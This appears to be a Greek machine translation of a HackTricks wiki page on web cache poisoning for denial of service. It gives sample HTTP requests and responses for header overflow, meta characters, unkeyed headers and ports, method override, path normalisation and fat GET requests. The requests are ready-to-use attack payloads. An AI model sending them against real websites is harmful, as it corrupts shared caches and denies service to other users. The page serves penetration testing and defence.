mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
150 lines
9.5 KiB
Markdown
150 lines
9.5 KiB
Markdown
# Δηλητηρίαση Προσωρινής Μνήμης για DoS
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
{% hint style="danger" %}
|
||
Σε αυτήν τη σελίδα μπορείτε να βρείτε διαφορετικές παραλλαγές για να προσπαθήσετε να κάνετε τον **διακομιστή web να ανταποκριθεί με σφάλματα** σε αιτήσεις που είναι **έγκυρες για τους διακομιστές προσωρινής μνήμης**
|
||
{% endhint %}
|
||
|
||
* **Υπέρβαση Μεγέθους Κεφαλίδας HTTP (HHO)**
|
||
|
||
Στείλτε μια αίτηση με μέγεθος κεφαλίδας μεγαλύτερο από αυτό που υποστηρίζεται από τον διακομιστή web αλλά μικρότερο από αυτό που υποστηρίζεται από τον διακομιστή προσωρινής μνήμης. Ο διακομιστής web θα ανταποκριθεί με μια απάντηση 400 η οποία ενδέχεται να αποθηκευτεί στη μνήμη cache:
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Oversize-Hedear:Big-Value-000000000000000
|
||
```
|
||
* **HTTP Meta Character (HMC) & Αναπάντεχες τιμές**
|
||
|
||
Στείλτε ένα κεφαλίδα που περιέχει ορισμένους **επιβλαβείς μετα-χαρακτήρες** όπως `\n` και `\r`. Για να λειτουργήσει η επίθεση, πρέπει πρώτα να παρακάμψετε τη μνήμη cache.
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Meta-Hedear:Bad Chars\n \r
|
||
```
|
||
Ένας κακά διαμορφωμένος κεφαλίδα θα μπορούσε απλά να είναι `\:` ως κεφαλίδα.
|
||
|
||
Αυτό θα μπορούσε επίσης να λειτουργήσει εάν σταλούν απροσδόκητες τιμές, όπως ένα μη αναμενόμενο Content-Type:
|
||
```
|
||
GET /anas/repos HTTP/2
|
||
Host: redacted.com
|
||
Content-Type: HelloWorld
|
||
```
|
||
* **Μη-κλειδωμένη κεφαλίδα**
|
||
|
||
Κάποιες ιστοσελίδες θα επιστρέψουν έναν κωδικό κατάστασης σφάλματος εάν **δουν κάποιες συγκεκριμένες κεφαλίδες** στο αίτημα όπως με την κεφαλίδα _X-Amz-Website-Location-Redirect: someThing_:
|
||
```
|
||
GET /app.js HTTP/2
|
||
Host: redacted.com
|
||
X-Amz-Website-Location-Redirect: someThing
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
|
||
Invalid Header
|
||
```
|
||
* **Επίθεση HTTP Method Override (HMO)**
|
||
|
||
Εάν ο διακομιστής υποστηρίζει την αλλαγή της μεθόδου HTTP με headers όπως `X-HTTP-Method-Override`, `X-HTTP-Method` ή `X-Method-Override`. Είναι δυνατόν να ζητηθεί μια έγκυρη σελίδα αλλάζοντας τη μέθοδο, έτσι ώστε ο διακομιστής να μην την υποστηρίζει και να αποθηκεύεται μια κακή απόκριση:
|
||
```
|
||
GET /blogs HTTP/1.1
|
||
Host: redacted.com
|
||
HTTP-Method-Override: POST
|
||
```
|
||
* **Μη κλειδωμένη θύρα**
|
||
|
||
Εάν η θύρα στην κεφαλίδα οικοδεσπότη αντανακλάται στην απόκριση και δεν περιλαμβάνεται στο κλειδί της μνήμης cache, είναι δυνατόν να την ανακατευθύνετε σε μια μη χρησιμοποιούμενη θύρα:
|
||
```
|
||
GET /index.html HTTP/1.1
|
||
Host: redacted.com:1
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: https://redacted.com:1/en/index.html
|
||
Cache: miss
|
||
```
|
||
* **Μακροσκελής Αποκλεισμός Ανακατεύθυνσης**
|
||
|
||
Όπως στο παρακάτω παράδειγμα, το x δεν κρατιέται στη μνήμη cache, οπότε ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τη συμπεριφορά απάντησης ανακατεύθυνσης για να κάνει την ανακατεύθυνση να στείλει ένα τόσο μεγάλο URL που θα επιστρέψει ένα σφάλμα. Έτσι, οι άνθρωποι που προσπαθούν να έχουν πρόσβαση στο URL χωρίς το μη-κρυφό κλειδί x θα λάβουν την απάντηση σφάλματος:
|
||
```
|
||
GET /login?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: /login/?x=veryLongUrl
|
||
Cache: hit
|
||
|
||
GET /login/?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 414 Request-URI Too Large
|
||
CF-Cache-Status: miss
|
||
```
|
||
* **Κανονικοποίηση περίπτωσης κεφαλίδας κεντρικού υπολογιστή**
|
||
|
||
Η κεφαλίδα κεντρικού υπολογιστή πρέπει να είναι μη διάκρισης πεζών-κεφαλαίων, αλλά μερικές ιστοσελίδες αναμένουν να είναι πεζά, επιστρέφοντας σφάλμα αν δεν είναι:
|
||
```
|
||
GET /img.png HTTP/1.1
|
||
Host: Cdn.redacted.com
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cache:miss
|
||
|
||
Not Found
|
||
```
|
||
* **Κανονικοποίηση διαδρομής**
|
||
|
||
Κάποιες σελίδες θα επιστρέψουν κωδικούς σφάλματος αποστέλλοντας δεδομένα URLencode στη διαδρομή, ωστόσο, ο διακομιστής cache θα αποκωδικοποιήσει τη διαδρομή και θα αποθηκεύσει την απόκριση για την αποκωδικοποιημένη διαδρομή:
|
||
```
|
||
GET /api/v1%2e1/user HTTP/1.1
|
||
Host: redacted.com
|
||
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cach:miss
|
||
|
||
Not Found
|
||
```
|
||
* **Fat Get**
|
||
|
||
Μερικοί διακομιστές cache, όπως ο Cloudflare, ή οι διακομιστές ιστού, σταματούν τις αιτήσεις GET με σώμα, οπότε αυτό μπορεί να καταχραστεί για να κρυφτεί μια μη έγκυρη απόκριση:
|
||
```
|
||
GET /index.html HTTP/2
|
||
Host: redacted.com
|
||
Content-Length: 3
|
||
|
||
xyz
|
||
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
```
|
||
## Αναφορές
|
||
|
||
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
||
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||
|
||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||
|
||
</details>
|